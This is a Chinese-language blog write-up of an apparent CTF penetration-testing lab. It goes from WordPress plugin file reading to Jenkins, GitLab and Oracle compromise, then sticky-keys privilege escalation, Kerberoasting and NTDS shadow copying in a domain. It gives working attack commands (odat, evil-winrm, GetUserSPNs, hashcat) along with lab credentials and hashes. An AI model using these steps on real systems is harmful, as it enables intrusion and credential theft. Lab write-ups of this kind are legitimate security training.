看见是WordPress站点,直接wpscan开扫
扫出来存在usc-e-shop漏洞,搜出来CVE-2022-4140但没复现成功

fscan扫一下

发现源码

发现数据库账密
现在知道为什么没复现成功了,这题源码把原本在wp-content/plugins/usc-e-shop/functions目录下的content-log.php移到了tools目录下

所以原来的cve还是能用的,不过要把路由换成/tools/content-log.php
题目提示说
1 | 请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。 |
Jenkins就是8080端口上的服务,搜索一下密码在哪


成功admin登陆后
Jenkins未授权访问漏洞复现与 getshell 利用方法汇总 - 知乎
如果知道web站点的话是可以写入一句话木马的,刚好我在读密码的时候不小心报错过一次,从而知道了80端口的web站点


成功连接

第二关的题目提示
1 | 管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。 |
发现hidden了复制不出来

网页源代码里面看一下

成功找到,即value的值
但这是一个加密后的结果
回到控制台解密一下


GitLab信息泄露利用详见
先fscan扫一下
1 | 172.22.14.31:1521 open |

梳理一下
1 | 172.22.14.7 已拿下 |
添加个管理员rdp一下
发现桌面上有mysql用之前获取的账密成功登录,但没发现什么有用信息


梳理一下输出的
1 | "http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/internal-secret.git |
在kali里面git一下
在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账密

因为是Oracle所以用odat打
1 | proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user bug 123456We /add' |
1 | proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrator bug /add' |
rdp连上31
成功拿到flag
下一关描述
1 | 攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。 |
之前git下来的项目的internal-secret/credentials.txt里找到XR-0923的账密

rdp连但是权限低读不了
想办法提权

net user zhangshuai发现是Remote ManagerUser,可以打winrm

1 | proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs |
发现比rdp多了一个SeRestorePrivilege,这个特权对任何文件都具有写权限

Windows SeBackupPrivilege 与 SeRestorePrivilege 特权利用-CSDN博客

但上面文章里的方法用不了
粘滞键提权,这两条命令的意思是将sethc.exe重命名为sethc.bak,将cmd.exe重命名为sethc.exe,这样在登录界面连按5次就是调用的名为sethc.exe的cmd.exe文件
1 | ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak |
在rdp里面锁定用户,连按5次shift,利用登陆程序的高权限开启终端

成功获取flag
第四关提示
1 | 尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。 |
用刚刚的终端创建一个管理员
rdp上去用mimikatz收集哈希

找到了域用户XR-0923的哈希7bf463dd91460b3b151eff73e3998132
打kerberoasting
SPN(Service Principle Name)是服务实例的唯一标识符,它告诉kerberos该服务运行在哪台计算机的哪个账户下
当客户端想访问某个网络服务时,需要向DC申请一张ST,为了请求ST,客户端必须用SPN向DC说明它要访问哪个服务,
大多数SPN关联的是计算机账户,但如果域管配置了服务以普通域用户身份运行,那此服务的SPN关联的就是域用户
为什么GetUserSPNs要找关联用户的spn?
找到了用户关联的spn就能向dc申请ST,而ST是由关联用户的密码哈希加密的,拿到了ST就有爆破的可能
因为计算机用户密码通常非常长,不可能爆破。但是普通用户密码一般就几位,容易爆破
1 | proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':a5ac13ae0abc9935a13e81c88f638494' -dc-ip 172.22.14.11 |
之前的Flarum靶场也用到了kerberoasting,但是那次有用户名字典,但没有域用户的ntml哈希,这次相反,没有用户字典但是有哈希,这两次有啥区别吗?

抓tianjing的哈希
1 | proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':a5ac13ae0abc9935a13e81c88f638494' -dc-ip 172.22.14.11 -request-user tianjing |

保存下来用hashcat爆破一下
1 | hashcat -a 0 -m 13100 hash.txt all.txt |

成功爆破出来DPQSXSXgh2
winrm连一下
1 | proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 |

多了一个SeBackupPrivilege
在kali上新建一个raj.dsh
1 | set context persistent nowriters |
再用unix2dos转换一下编码
上传一下

卷影拷贝



我急着吃饭就只读了flag,wp里面是读取域管哈希,明天看看
About this Post
This post is written by DashingBug, licensed under CC BY-NC 4.0.